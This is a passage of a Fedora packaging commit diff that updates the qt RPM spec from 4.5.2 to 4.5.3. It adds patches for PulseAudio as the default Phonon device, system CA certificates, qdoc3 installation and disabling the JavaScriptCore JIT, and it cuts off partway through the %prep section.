qt-x11-opensource-src-4.5.0-qdoc3.patch:
 qdoc3/qdoc3.pro |    3 +++
 tools.pro       |    1 +
 2 files changed, 4 insertions(+)

Index: qt-x11-opensource-src-4.5.0-qdoc3.patch
===================================================================
RCS file: qt-x11-opensource-src-4.5.0-qdoc3.patch
diff -N qt-x11-opensource-src-4.5.0-qdoc3.patch
--- /dev/null	1 Jan 1970 00:00:00 -0000
+++ qt-x11-opensource-src-4.5.0-qdoc3.patch	10 Oct 2009 22:30:27 -0000	1.3
@@ -0,0 +1,21 @@
+diff -ur qt-orig/tools/qdoc3/qdoc3.pro qt-4.5.2/tools/qdoc3/qdoc3.pro
+--- qt-orig/tools/qdoc3/qdoc3.pro	2009-06-20 06:57:59.000000000 +0200
++++ qt-4.5.2/tools/qdoc3/qdoc3.pro	2009-06-25 20:00:12.000000000 +0200
+@@ -99,3 +99,6 @@
+            webxmlgenerator.cpp \
+ 	   yyindent.cpp
+ 
++TARGET= qdoc3
++target.path = $$[QT_INSTALL_BINS]
++INSTALLS += target
+diff -ur qt-orig/tools/tools.pro qt-4.5.2/tools/tools.pro
+--- qt-orig/tools/tools.pro	2009-06-20 06:57:59.000000000 +0200
++++ qt-4.5.2/tools/tools.pro	2009-06-25 19:59:19.000000000 +0200
+@@ -13,6 +13,7 @@
+          SUBDIRS += designer
+      }
+      SUBDIRS     += linguist
++     SUBDIRS     += qdoc3
+      wince*: SUBDIRS = qtestlib designer
+      unix:!mac:!embedded:contains(QT_CONFIG, qt3support):SUBDIRS += qtconfig
+      win32:!wince*:SUBDIRS += activeqt

qt-x11-opensource-src-4.5.1-phonon.patch:
 3rdparty/phonon/gstreamer/gstreamer.desktop |    2 +-
 phonon/phonon.pro                           |    5 +++++
 plugins/phonon/gstreamer/gstreamer.pro      |    4 +++-
 3 files changed, 9 insertions(+), 2 deletions(-)

--- NEW FILE qt-x11-opensource-src-4.5.1-phonon.patch ---
diff -ur qt-orig/src/phonon/phonon.pro qt-x11-opensource-src-4.5.2/src/phonon/phonon.pro
--- qt-orig/src/phonon/phonon.pro	2009-06-20 06:57:57.000000000 +0200
+++ qt-x11-opensource-src-4.5.2/src/phonon/phonon.pro	2009-06-25 19:30:00.000000000 +0200
@@ -112,4 +112,9 @@
        DEFINES += QT_NO_DBUS
 }
 
+# install dbus service file
+sources.files = $$PHONON_DIR/org.kde.Phonon.AudioOutput.xml
+sources.path = /usr/share/dbus-1/interfaces
+INSTALLS += sources
+
 contains(QT_CONFIG, reduce_exports): CONFIG += hide_symbols
diff -ur qt-orig/src/plugins/phonon/gstreamer/gstreamer.pro qt-x11-opensource-src-4.5.2/src/plugins/phonon/gstreamer/gstreamer.pro
--- qt-orig/src/plugins/phonon/gstreamer/gstreamer.pro	2009-06-20 06:57:58.000000000 +0200
+++ qt-x11-opensource-src-4.5.2/src/plugins/phonon/gstreamer/gstreamer.pro	2009-06-25 19:31:36.000000000 +0200
@@ -62,6 +62,8 @@
 }
 
 target.path = $$[QT_INSTALL_PLUGINS]/phonon_backend
-INSTALLS += target
+services.files = $$PHONON_GSTREAMER_DIR/gstreamer.desktop
+services.path = /usr/share/kde4/services/phononbackends
+INSTALLS += target services
 
 include(../../qpluginbase.pri)
diff -ur qt-orig/src/3rdparty/phonon/gstreamer/gstreamer.desktop qt-x11-opensource-src-4.5.2/src/3rdparty/phonon/gstreamer/gstreamer.desktop
--- qt-orig/src/3rdparty/phonon/gstreamer/gstreamer.desktop	2009-06-20 06:57:54.000000000 +0200
+++ qt-x11-opensource-src-4.5.2/src/3rdparty/phonon/gstreamer/gstreamer.desktop	2009-06-25 19:30:00.000000000 +0200
@@ -2,7 +2,7 @@
 Type=Service
 X-KDE-ServiceTypes=PhononBackend
 MimeType=application/x-annodex;video/quicktime;video/x-quicktime;audio/x-m4a;application/x-quicktimeplayer;video/mkv;video/msvideo;video/x-msvideo;video/x-flic;audio/x-aiff;audio/aiff;audio/x-pn-aiff;audio/x-realaudio;audio/basic;audio/x-basic;audio/x-pn-au;audio/x-8svx;audio/8svx;audio/x-16sv;audio/168sv;image/x-ilbm;image/ilbm;video/x-anim;video/anim;image/png;image/x-png;video/mng;video/x-mng;audio/x-ogg;audio/x-speex+ogg;application/ogg;application/ogg;audio/vnd.rn-realaudio;audio/x-pn-realaudio-plugin;audio/x-real-audio;application/vnd.rn-realmedia;video/mpeg;video/x-mpeg;audio/x-wav;audio/wav;audio/x-pn-wav;audio/x-pn-windows-acm;audio/mpeg2;audio/x-mpeg2;audio/mpeg3;audio/x-mpeg3;audio/mpeg;audio/x-mpeg;x-mpegurl;audio/x-mpegurl;audio/mp3;audio/mpeg;
-X-KDE-Library=phonon_gstreamer
+X-KDE-Library=libphonon_gstreamer
 X-KDE-PhononBackendInfo-InterfaceVersion=1
 X-KDE-PhononBackendInfo-Version=0.1
 X-KDE-PhononBackendInfo-Website=http://gstreamer.freedesktop.org/

qt-x11-opensource-src-4.5.2-gst-pulsaudio.patch:
 audiooutput.cpp   |    4 +++-
 devicemanager.cpp |   22 ++++++++++++++++++++--
 2 files changed, 23 insertions(+), 3 deletions(-)

--- NEW FILE qt-x11-opensource-src-4.5.2-gst-pulsaudio.patch ---
diff -up qt-x11-opensource-src-4.5.2/src/3rdparty/phonon/gstreamer/audiooutput.cpp.than qt-x11-opensource-src-4.5.2/src/3rdparty/phonon/gstreamer/audiooutput.cpp
--- qt-x11-opensource-src-4.5.2/src/3rdparty/phonon/gstreamer/audiooutput.cpp.than	2009-08-16 14:20:43.000000000 +0200
+++ qt-x11-opensource-src-4.5.2/src/3rdparty/phonon/gstreamer/audiooutput.cpp	2009-08-16 14:45:56.000000000 +0200
@@ -141,7 +141,9 @@ bool AudioOutput::setOutputDevice(int ne
         // Save previous state
         GstState oldState = GST_STATE(m_audioSink);
         const QByteArray oldDeviceValue = GstHelper::property(m_audioSink, "device");
-        const QByteArray deviceId = deviceList.at(newDevice).gstId;
+        const QByteArray deviceId = (deviceList.at(newDevice).gstId == "PulseAudio"
+                                     ? "default"
+                                     : deviceList.at(newDevice).gstId);
         m_device = newDevice;
 
         // We test if the device can be opened by checking if it can go from NULL to READY state
diff -up qt-x11-opensource-src-4.5.2/src/3rdparty/phonon/gstreamer/devicemanager.cpp.than qt-x11-opensource-src-4.5.2/src/3rdparty/phonon/gstreamer/devicemanager.cpp
--- qt-x11-opensource-src-4.5.2/src/3rdparty/phonon/gstreamer/devicemanager.cpp.than	2009-08-15 12:39:08.000000000 +0200
+++ qt-x11-opensource-src-4.5.2/src/3rdparty/phonon/gstreamer/devicemanager.cpp	2009-08-16 14:45:13.000000000 +0200
@@ -50,6 +50,8 @@ AudioDevice::AudioDevice(DeviceManager *
     //get name from device
     if (gstId == "default") {
         description = "Default audio device";
+    } else if (gstId == "PulseAudio") {
+        description = QObject::tr("Pass all audio through the PulseAudio Sound Server.\n").toUtf8();
     } else {
         GstElement *aSink= manager->createAudioSink();
 
@@ -175,6 +177,18 @@ GstElement *DeviceManager::createAudioSi
                 }
             }
 
+            if (!sink) {
+                sink = gst_element_factory_make ("pulsesink", NULL);
+                if (canOpenDevice(sink)) {
+                    m_backend->logMessage("AudioOutput using pulse audio sink");
+                    m_audioSink = "pulsesink";
+                }
+                else if (sink) {
+                    gst_object_unref(sink);
+                    sink = 0;
+                }
+            }
+
 #ifdef USE_ALSASINK2
             if (!sink) {
                 sink = gst_element_factory_make ("_k_alsasink", NULL);
@@ -306,8 +320,12 @@ void DeviceManager::updateDeviceList()
     QList<QByteArray> list;
 
     if (audioSink) {
-        list = GstHelper::extractProperties(audioSink, "device");
-        list.prepend("default");
+        if (m_audioSink == "pulsesink") {
+            list.append("PulseAudio");
+        } else {
+            list = GstHelper::extractProperties(audioSink, "device");
+            list.prepend("default");
+        }
 
         for (int i = 0 ; i < list.size() ; ++i) {
             QByteArray gstId = list.at(i);

qt-x11-opensource-src-4.5.2-pulseaudio.patch:
 globalconfig.cpp |   19 +++++++++++++++++++
 1 file changed, 19 insertions(+)

--- NEW FILE qt-x11-opensource-src-4.5.2-pulseaudio.patch ---
diff -up qt-x11-opensource-src-4.5.2/src/3rdparty/phonon/phonon/globalconfig.cpp.phonon-pulseaudio qt-x11-opensource-src-4.5.2/src/3rdparty/phonon/phonon/globalconfig.cpp
--- qt-x11-opensource-src-4.5.2/src/3rdparty/phonon/phonon/globalconfig.cpp.phonon-pulseaudio	2009-06-20 06:57:54.000000000 +0200
+++ qt-x11-opensource-src-4.5.2/src/3rdparty/phonon/phonon/globalconfig.cpp	2009-08-21 00:11:55.000000000 +0200
@@ -31,6 +31,7 @@
 #include "phononnamespace_p.h"
 
 #include <QtCore/QList>
+#include <QtCore/QHash>
 #include <QtCore/QVariant>
 
 QT_BEGIN_NAMESPACE
@@ -167,6 +168,15 @@ QList<int> GlobalConfig::audioOutputDevi
                     | ((override & HideUnavailableDevices) ? FilterUnavailableDevices : 0)
                     );
         }
+        // make PulseAudio the global default (assume it is already default in this list)
+        if (!list.isEmpty()) {
+            int firstIndex = list.first();
+            if (backendIface->objectDescriptionProperties(Phonon::AudioOutputDeviceType,
+                  firstIndex)["name"].toString() == "PulseAudio") {
+                list.removeFirst();
+                defaultList.prepend(firstIndex);
+            }
+        }
         defaultList += list;
     }
 
@@ -222,6 +232,15 @@ QList<int> GlobalConfig::audioCaptureDev
                     | ((override & HideUnavailableDevices) ? FilterUnavailableDevices : 0)
                   );
         }
+        // make PulseAudio the global default (assume it is already default in this list)
+        if (!list.isEmpty()) {
+            int firstIndex = list.first();
+            if (backendIface->objectDescriptionProperties(Phonon::AudioCaptureDeviceType,
+                  firstIndex)["name"].toString() == "PulseAudio") {
+                list.removeFirst();
+                defaultList.prepend(firstIndex);
+            }
+        }
         defaultList += list;
     }
 

qt-x11-opensource-src-4.5.3-javascript-disable-jit.patch:
 JavaScriptCore.pri |   14 --------------
 1 file changed, 14 deletions(-)

--- NEW FILE qt-x11-opensource-src-4.5.3-javascript-disable-jit.patch ---
diff -up qt-x11-opensource-src-4.5.3/src/3rdparty/webkit/JavaScriptCore/JavaScriptCore.pri.javascriptcore-disable-jit qt-x11-opensource-src-4.5.3/src/3rdparty/webkit/JavaScriptCore/JavaScriptCore.pri
--- qt-x11-opensource-src-4.5.3/src/3rdparty/webkit/JavaScriptCore/JavaScriptCore.pri.javascriptcore-disable-jit	2009-09-29 13:01:35.000000000 +0200
+++ qt-x11-opensource-src-4.5.3/src/3rdparty/webkit/JavaScriptCore/JavaScriptCore.pri	2009-10-06 10:39:55.976466622 +0200
@@ -13,20 +13,6 @@ win32-* {
     LIBS += -lwinmm
 }
 
-# Disable the JIT due to numerous observed miscompilations :(
-CONFIG(release):isEqual(QT_ARCH,i386) {
-     JIT_DEFINES = ENABLE_JIT ENABLE_WREC ENABLE_JIT_OPTIMIZE_CALL ENABLE_JIT_OPTIMIZE_PROPERTY_ACCESS ENABLE_JIT_OPTIMIZE_ARITHMETIC
-     # Require gcc >= 4.1
-     linux-g++*:greaterThan(QT_GCC_MAJOR_VERSION,3):greaterThan(QT_GCC_MINOR_VERSION,0) {
-         DEFINES += $$JIT_DEFINES WTF_USE_JIT_STUB_ARGUMENT_VA_LIST
-         QMAKE_CXXFLAGS += -fno-stack-protector
-         QMAKE_CFLAGS += -fno-stack-protector
-     }
-     win32-msvc* {
-         DEFINES += $$JIT_DEFINES WTF_USE_JIT_STUB_ARGUMENT_REGISTER
-     }
-}
-
 win32-msvc*: INCLUDEPATH += $$PWD/os-win32
 wince* {
     INCLUDEPATH += $$PWD/os-wince

qt-x11-opensource-src-4.5.3-system_ca_certificates.patch:
 qsslsocket_openssl.cpp |   14 +++++++++++++-
 1 file changed, 13 insertions(+), 1 deletion(-)

--- NEW FILE qt-x11-opensource-src-4.5.3-system_ca_certificates.patch ---
diff -up qt-x11-opensource-src-4.5.3/src/network/ssl/qsslsocket_openssl.cpp.system_ca_certificates qt-x11-opensource-src-4.5.3/src/network/ssl/qsslsocket_openssl.cpp
--- qt-x11-opensource-src-4.5.3/src/network/ssl/qsslsocket_openssl.cpp.system_ca_certificates	2009-09-29 06:01:38.000000000 -0500
+++ qt-x11-opensource-src-4.5.3/src/network/ssl/qsslsocket_openssl.cpp	2009-10-02 11:20:10.674662746 -0500
@@ -482,8 +482,20 @@ void QSslSocketPrivate::resetDefaultCiph
 
 QList<QSslCertificate> QSslSocketPrivate::systemCaCertificates()
 {
+
+    QFile caBundle;
+
+#ifdef Q_OS_UNIX
+    // Check known locations for the system's default bundle.  ### On Windows,
+    // we should use CAPI to find the bundle, and not rely on default unix
+    // locations.
+    caBundle.setFileName(QLatin1String("/etc/pki/tls/certs/ca-bundle.crt"));
+    if (caBundle.open(QIODevice::ReadOnly | QIODevice::Text))
+       return QSslCertificate::fromDevice(&caBundle);
+#endif
+
     // Qt provides a default bundle of certificates
-    QFile caBundle(QLatin1String(":/trolltech/network/ssl/qt-ca-bundle.crt"));
+    caBundle.setFileName(QLatin1String(":/trolltech/network/ssl/qt-ca-bundle.crt"));
     if (caBundle.open(QIODevice::ReadOnly | QIODevice::Text))
         return QSslCertificate::fromDevice(&caBundle);
 


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/qt/F-10/.cvsignore,v
retrieving revision 1.49
retrieving revision 1.50
diff -u -p -r1.49 -r1.50
--- .cvsignore	23 May 2009 05:01:44 -0000	1.49
+++ .cvsignore	10 Oct 2009 22:30:26 -0000	1.50
@@ -1,5 +1,10 @@
 hi128-app-qt4-logo.png
 hi48-app-qt4-logo.png
-qt-x11-opensource-src-4.5.1.tar.bz2
-qt-copy-patches-20090424svn.tar.bz2
-qt-copy-patches-20090522svn.tar.bz2
+gstreamer-logo.svg
+hi128-phonon-gstreamer.png
+hi16-phonon-gstreamer.png
+hi22-phonon-gstreamer.png
+hi32-phonon-gstreamer.png
+hi48-phonon-gstreamer.png
+hi64-phonon-gstreamer.png
+qt-x11-opensource-src-4.5.3.tar.gz


Index: linguist.desktop
===================================================================
RCS file: /cvs/pkgs/rpms/qt/F-10/linguist.desktop,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- linguist.desktop	14 Jun 2008 02:32:46 -0000	1.3
+++ linguist.desktop	10 Oct 2009 22:30:27 -0000	1.4
@@ -2,7 +2,7 @@
 Name=Qt4 Linguist 
 Comment=Add translations to Qt4 applications
 Exec=linguist-qt4
-Icon=linguist4
+Icon=linguist
 MimeType=application/x-linguist;
 Terminal=false
 Encoding=UTF-8


Index: qt.spec
===================================================================
RCS file: /cvs/pkgs/rpms/qt/F-10/qt.spec,v
retrieving revision 1.236
retrieving revision 1.237
diff -u -p -r1.236 -r1.237
--- qt.spec	31 Aug 2009 15:24:39 -0000	1.236
+++ qt.spec	10 Oct 2009 22:30:27 -0000	1.237
@@ -4,28 +4,23 @@
 # -no-pch disables precompiled headers, make ccache-friendly
 %define no_pch -no-pch
 
+%define _default_patch_fuzz 2
+
 Summary: Qt toolkit
-%if 0%{?fedora} > 8
 Name:    qt
 Epoch:   1
-%else
-Name:    qt4
-%endif
-Version: 4.5.2
-Release: 3%{?dist}
+Version: 4.5.3
+Release: 4%{?dist}
 
 # See LGPL_EXCEPTIONS.txt, LICENSE.GPL3, respectively, for exception details
 License: LGPLv2 with exceptions or GPLv3 with exceptions
 Group: System Environment/Libraries
 Url: http://www.qtsoftware.com/
-Source0: ftp://ftp.trolltech.com/qt/source/qt-x11-opensource-src-%{version}.tar.bz2
+Source0: ftp://ftp.qt.nokia.com/qt/source/qt-x11-opensource-src-%{version}.tar.gz
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
-
-%if "%{name}" != "qt4"
 Obsoletes: qt4 < %{version}-%{release}
 Provides: qt4 = %{version}-%{release}
 %{?_isa:Provides: qt4%{?_isa} = %{version}-%{release}}
-%endif
 
 Source4: Trolltech.conf
 
@@ -42,36 +37,58 @@ Patch13: qt-x11-opensource-src-4.5.0-gcc
 Patch15: qt-x11-opensource-src-4.5.1-enable_ft_lcdfilter.patch
 # include kde4 plugin path, http://bugzilla.redhat.com/498809
 Patch16: qt-x11-opensource-src-4.5.1-kde4_plugins.patch 
-# fix the qt-copy patch 0274-shm-native-image-fix.diff to apply against 4.5.2
-Patch20: qt-copy-20090626-qt452.patch
+# make PulseAudio the default device in Phonon
+Patch17: qt-x11-opensource-src-4.5.2-pulseaudio.patch
+Patch19: qt-x11-opensource-src-4.5.1-phonon.patch
+Patch21: qt-x11-opensource-src-4.5.2-gst-pulsaudio.patch
+# use system ca-bundle certs, http://bugzilla.redhat.com/521911
+Patch22: qt-x11-opensource-src-4.5.3-system_ca_certificates.patch 
+Requires: ca-certificates
+# disable JavaScriptCore JIT as it crashes with SE Linux
+# http://bugzilla.redhat.com/527079
+Patch23: qt-x11-opensource-src-4.5.3-javascript-disable-jit.patch
 
 ## upstreamable bits
-Patch51: qt-x11-opensource-src-4.5.2-qdoc3.patch
+# http://bugzilla.redhat.com/485677
+Patch51: qt-x11-opensource-src-4.5.0-qdoc3.patch
 Patch52: qt-4.5-sparc64.patch
 # fix invalid inline assembly in qatomic_{i386,x86_64}.h (de)ref implementations
-# should fix the reference counting in qt_toX11Pixmap and thus the Kolourpaint
-# crash with Qt 4.5
 Patch53: qt-x11-opensource-src-4.5.0-fix-qatomic-inline-asm.patch
 # fix invalid assumptions about mysql_config --libs
 # http://bugzilla.redhat.com/440673
 Patch54: qt-x11-opensource-src-4.5.1-mysql_config.patch
-Patch55: qt-x11-opensource-src-4.5.2-timestamp.patch
-
-## qt-copy patches
-# http://qt.gitorious.org/+kde-developers/qt/kde-qt/commit/01f26d0756839fbe783c637ca7dec5b7987f7e14.patch
-Patch287: 287-qmenu-respect-minwidth.patch
-# http://qt.gitorious.org/+kde-developers/qt/kde-qt/commit/1a94cd7b132497f70a2b97ec2b58f6e2b1c5076a.patch
-Patch0288: 0288-more-x-keycodes.patch
 
-# security fixes
-Patch100: qt-x11-opensource-src-4.5.2-CVE-2009-1725.patch
-Patch101: qt-x11-opensource-src-4.5.2-CVE-2009-2700.patch
+# security patches
 
-%define qt_copy 20090626
-Source1: qt-copy-patches-svn_checkout.sh
-%{?qt_copy:Source2: qt-copy-patches-%{qt_copy}svn.tar.bz2}
-%{?qt_copy:Provides: qt-copy = %{qt_copy}}
-%{?qt_copy:Provides: qt4-copy = %{qt_copy}}
+# kde-qt git patches
+Patch201: 0001-This-patch-uses-object-name-as-a-fallback-for-window.patch
+Patch202: 0002-This-patch-makes-override-redirect-windows-popup-me.patch
+Patch203: 0003-This-patch-changes-QObjectPrivateVersion-thus-preve.patch
+Patch204: 0004-This-patch-adds-support-for-using-isystem-to-allow.patch
+Patch205: 0005-When-tabs-are-inserted-or-removed-in-a-QTabBar.patch
+Patch206: 0006-Fix-configure.exe-to-do-an-out-of-source-build-on-wi.patch
+Patch207: 0007-When-using-qmake-outside-qt-src-tree-it-sometimes-g.patch
+Patch208: 0008-In-a-treeview-with-columns-like-this.patch
+Patch209: 0009-This-patch-fixes-deserialization-of-values-with-cust.patch
+Patch210: 0010-Import-README.qt-copy-from-the-original-qt-copy.patch
+Patch211: 0011-Update-this-file-to-reflect-the-workflow-with-Git-a.patch
+Patch212: 0274-shm-native-image-fix.patch
+Patch213: 0015-Make-QMenu-respect-the-minimum-width-set.patch
+Patch214: 0016-Fill-gap-of-X.org-XFree-multimedia-special-launcher.patch
+Patch215: 0017-Add-context-to-tr-calls-in-QShortcut.patch
+
+# these patches are not merged yet in kde-qt branches
+Patch301: 0118-qtcopy-define.diff
+Patch302: 0283-do-not-deduce-scrollbar-extent-twice.diff
+Patch303: 0285-qgv-dontshowchildren.diff
+
+Source10: http://gstreamer.freedesktop.org/data/images/artwork/gstreamer-logo.svg
+Source11: hi16-phonon-gstreamer.png
+Source12: hi22-phonon-gstreamer.png
+Source13: hi32-phonon-gstreamer.png
+Source14: hi48-phonon-gstreamer.png
+Source15: hi64-phonon-gstreamer.png
+Source16: hi128-phonon-gstreamer.png
 
 Source20: assistant.desktop
 Source21: designer.desktop
@@ -93,21 +110,20 @@ Source31: hi48-app-qt4-logo.png
 %define psql -plugin-sql-psql
 %define sqlite -plugin-sql-sqlite
 %define phonon -phonon
-# if building with --phonon, define to internal version (ie, Obsolete external phonon)
-#define phonon_internal 1
-%define phonon_backend -no-phonon-backend
+%define phonon_backend -phonon-backend
+%if 0%{?rhel}
+# if building with -phonon, define to internal version (ie, Obsolete external phonon)
+%define phonon_internal 1
+# if -phonon-backend, include in packaging (else it's omitted)
+%define phonon_backend_packaged 1
+%endif
 %define phonon_version 4.3.1
+%define phonon_version_major 4.3
+%define phonon_release 100
 %define webkit -webkit
 %define gtkstyle -gtkstyle
-
 %define nas -no-nas-sound
-%if 0%{?fedora} > 4 || 0%{?rhel} > 4
-# link dbus
 %define dbus -dbus-linked
-# dlopen dbus
-#define dbus -dbus
-BuildRequires: dbus-devel >= 0.62
-%endif
 
 # See http://bugzilla.redhat.com/196901
 %define _qt4 %{name}
@@ -125,10 +141,9 @@ BuildRequires: dbus-devel >= 0.62
 %define _qt4_sysconfdir %{_sysconfdir}
 %define _qt4_translationdir %{_datadir}/qt4/translations
 
-%if "%{_qt4_libdir}" != "%{_libdir}"
 Prereq: /etc/ld.so.conf.d
-%endif
 
+BuildRequires: dbus-devel >= 0.62
 BuildRequires: cups-devel
 BuildRequires: desktop-file-utils
 BuildRequires: findutils
@@ -147,10 +162,7 @@ BuildRequires: pkgconfig
 ## In theory, should be as simple as:
 #define x_deps libGL-devel libGLU-devel
 ## but, "xorg-x11-devel: missing dep on libGL/libGLU" - http://bugzilla.redhat.com/211898 
-%define x_deps xorg-x11-devel xorg-x11-Mesa-libGL xorg-x11-Mesa-libGLU
-%if 0%{?fedora} > 4 || 0%{?rhel} > 4
 %define x_deps libICE-devel libSM-devel libXcursor-devel libXext-devel libXfixes-devel libXft-devel libXi-devel libXinerama-devel libXrandr-devel libXrender-devel libXt-devel libX11-devel xorg-x11-proto-devel libGL-devel libGLU-devel
-%endif
 BuildRequires: %{x_deps}
 
 %if "%{?nas}" != "-no-nas-sound"
@@ -191,10 +203,8 @@ Obsoletes: qt4-config < 4.5.0
 Provides: qt4-config = %{version}-%{release}
 Obsoletes: qt4-sqlite < 4.5.0 
 Provides: qt4-sqlite = %{version}-%{release}
-%if "%{name}" == "qt"
 Obsoletes: qt-sqlite < %{?epoch:%{epoch}:}4.5.0
 Provides: qt-sqlite = %{?epoch:%{epoch}:}%{version}-%{release}
-%endif
 
 %description 
 Qt is a software toolkit for developing applications.
@@ -202,6 +212,15 @@ Qt is a software toolkit for developing 
 This package contains base tools, like string, xml, and network
 handling.
 
+%package -n phonon-backend-gstreamer
+Summary: Gstreamer phonon backend
+Group:   Applications/Multimedia
+Requires: phonon%{?_isa} >= %{phonon_version_major} 
+Provides: phonon-backend%{?_isa} = %{phonon_version}-%{phonon_release}
+Obsoletes: %{name}-backend-gst < 4.2.0-4
+Provides:  %{name}-backend-gst = %{phonon_version}-%{phonon_release}
+%description -n phonon-backend-gstreamer
+%{summary}.
 
 %define demos 1
 %package demos
@@ -217,15 +236,11 @@ Summary: API documentation for %{name}
 Group: Documentation
 Requires: %{name} = %{?epoch:%{epoch}:}%{version}-%{release}
 Requires: %{name}-assistant
-%if "%{name}" != "qt4"
 Obsoletes: qt4-doc < %{version}-%{release}
 Provides:  qt4-doc = %{version}-%{release}
-%endif
-%if 0%{?fedora} > 9
 # help workaround yum bug http://bugzilla.redhat.com/502401
 Obsoletes: qt-doc < 1:4.5.1-4
 BuildArch: noarch
-%endif
 %description doc
 %{summary}.  Includes:
 Qt Assistant
@@ -233,8 +248,8 @@ Qt Assistant
 %package devel
 Summary: Development files for the Qt toolkit
 Group: Development/Libraries
-Requires: %{name} = %{?epoch:%{epoch}:}%{version}-%{release}
-Requires: %{name}-x11 
+Requires: %{name}%{?_isa} = %{?epoch:%{epoch}:}%{version}-%{release}
+Requires: %{name}-x11%{?_isa}
 Requires: %{x_deps}
 Requires: libpng-devel
 Requires: libjpeg-devel
@@ -244,8 +259,7 @@ Provides: qt4-phonon-devel = %{version}-
 %endif
 %if 0%{?phonon_internal}
 Obsoletes: phonon-devel < 4.3.1-100
-Provides:  phonon-devel = 4.3.1-100
-Requires:  phonon-backend%{?_isa} >= %{phonon_version}
+Provides:  phonon-devel = %{phonon_version}-%{phonon_release}
 %endif
 %if 0%{?webkit:1}
 Obsoletes: WebKit-qt-devel < 1.0.0-1
@@ -255,12 +269,10 @@ Obsoletes: qt4-designer < %{version}-%{r
 Provides:  qt4-designer = %{version}-%{release}
 # as long as libQtUiTools.a is included
 Provides:  %{name}-static = %{version}-%{release}
-%if "%{name}" != "qt4"
 Obsoletes: qt4-devel < %{version}-%{release}
 Provides:  qt4-devel = %{version}-%{release}
 %{?_isa:Provides: qt4-devel%{?_isa} = %{version}-%{release}}
 Provides:  qt4-static = %{version}-%{release}
-%endif
 
 %description devel
 This package contains the files necessary to develop
@@ -272,7 +284,7 @@ Qt Linguist
 %package examples
 Summary: Programming examples for %{name}
 Group: Documentation
-Requires: %{name} = %{?epoch:%{epoch}:}%{version}-%{release}
+Requires: %{name}%{?_isa} = %{?epoch:%{epoch}:}%{version}-%{release}
 
 %description examples
 %{summary}.
@@ -281,13 +293,11 @@ Requires: %{name} = %{?epoch:%{epoch}:}%
 %package mysql
 Summary: MySQL driver for Qt's SQL classes
 Group: System Environment/Libraries
-Requires: %{name} = %{?epoch:%{epoch}:}%{version}-%{release}
+Requires: %{name}%{?_isa} = %{?epoch:%{epoch}:}%{version}-%{release}
 Obsoletes: qt4-MySQL < %{version}-%{release}
 Provides:  qt4-MySQL = %{version}-%{release}
-%if "%{name}" != "qt4"
 Obsoletes: qt4-mysql < %{version}-%{release}
 Provides:  qt4-mysql = %{version}-%{release}
-%endif
 
 %description mysql 
 %{summary}.
@@ -296,13 +306,11 @@ Provides:  qt4-mysql = %{version}-%{rele
 %package odbc 
 Summary: ODBC driver for Qt's SQL classes
 Group: System Environment/Libraries
-Requires: %{name} = %{?epoch:%{epoch}:}%{version}-%{release}
+Requires: %{name}%{?_isa} = %{?epoch:%{epoch}:}%{version}-%{release}
 Obsoletes: qt4-ODBC < %{version}-%{release}
 Provides:  qt4-ODBC = %{version}-%{release}
-%if "%{name}" != "qt4"
 Obsoletes: qt4-odbc < %{version}-%{release}
 Provides:  qt4-odbc = %{version}-%{release}
-%endif
 
 %description odbc 
 %{summary}.
@@ -311,13 +319,11 @@ Provides:  qt4-odbc = %{version}-%{relea
 %package postgresql 
 Summary: PostgreSQL driver for Qt's SQL classes
 Group: System Environment/Libraries
-Requires: %{name} = %{?epoch:%{epoch}:}%{version}-%{release}
+Requires: %{name}%{?_isa} = %{?epoch:%{epoch}:}%{version}-%{release}
 Obsoletes: qt4-PostgreSQL < %{version}-%{release}
 Provides:  qt4-PostgreSQL = %{version}-%{release}
-%if "%{name}" != "qt4"
 Obsoletes: qt4-postgresql < %{version}-%{release}
 Provides:  qt4-postgresql = %{version}-%{release}
-%endif
 
 %description postgresql 
 %{summary}.
@@ -326,26 +332,24 @@ Provides:  qt4-postgresql = %{version}-%
 %package x11
 Summary: Qt GUI-related libraries
 Group: System Environment/Libraries
+%if 0%{?phonon:1}
+Requires:  phonon-backend%{?_isa} >= %{phonon_version_major} 
+%endif
 %if 0%{?phonon_internal}
 Obsoletes: phonon < 4.3.1-100
-Provides:  phonon = 4.3.1-100
-%endif
-%if 0%{?phonon:1}
-Provides: qt4-phonon = %{version}-%{release}
+Provides:  phonon = %{phonon_version}-%{phonon_release}
+Provides:  phonon%{?_isa} = %{phonon_version}-%{phonon_release}
+Provides:  qt4-phonon = %{version}-%{release}
 %endif
 %if 0%{?webkit:1}
 Obsoletes: WebKit-qt < 1.0.0-1
 Provides:  WebKit-qt = 1.0.0-1
 %endif
 Provides: qt4-assistant = %{version}-%{release}
-%if "%{name}" != "qt4"
 Provides: %{name}-assistant = %{version}-%{release}
-%endif
-Requires: %{name} = %{?epoch:%{epoch}:}%{version}-%{release}
-%if "%{name}" != "qt4"
+Requires: %{name}%{?_isa} = %{?epoch:%{epoch}:}%{version}-%{release}
 Obsoletes: qt4-x11 < %{version}-%{release}
 Provides:  qt4-x11 = %{version}-%{release}
-%endif
 Requires(post): /sbin/ldconfig
 Requires(postun): /sbin/ldconfig
 
@@ -354,18 +358,7 @@ Qt libraries used for drawing widgets an
 
 
 %prep
-%setup -q -n qt-x11-opensource-src-%{version} %{?qt_copy:-a 2}
-
-%if 0%{?qt_copy}
-%patch20 -p1 -b .qt-copy-qt452
-echo "0234" >> patches/DISABLED
-echo "0250" >> patches/DISABLED
-echo "0273" >> patches/DISABLED
-echo "0279" >> patches/DISABLED
-echo "0281" >> patches/DISABLED
-echo "0282" >> patches/DISABLED
-test -x apply_patches && ./apply_patches
-%endif
+%setup -q -n qt-x11-opensource-src-%{version}
 
 # don't use -b on mkspec files, else they get installed too.
 # multilib hacks no longer required
@@ -377,27 +370,46 @@ test -x apply_patches && ./apply_patches
 %patch13 -p1 -b .gcc_hack
 %patch15 -p1 -b .enable_ft_lcdfilter
 %patch16 -p1 -b .kde4_plugins
+%patch17 -p1 -b .phonon-pulseaudio
+%patch19 -p1 -b .servicesfile
+%patch21 -p1 -b .gst-pulsaudio
+%patch22 -p1 -b .system_ca_certificates
+%patch23 -p1 -b .javascriptcore-disable-jit
 %patch51 -p1 -b .qdoc3
 %patch52 -p1 -b .sparc64
 %patch53 -p1 -b .qatomic-inline-asm
 %patch54 -p1 -b .mysql_config
-%patch55 -p1 -b .timestamp
 
 # security fixes
-%patch100 -p1 -b .CVE-2009-1725
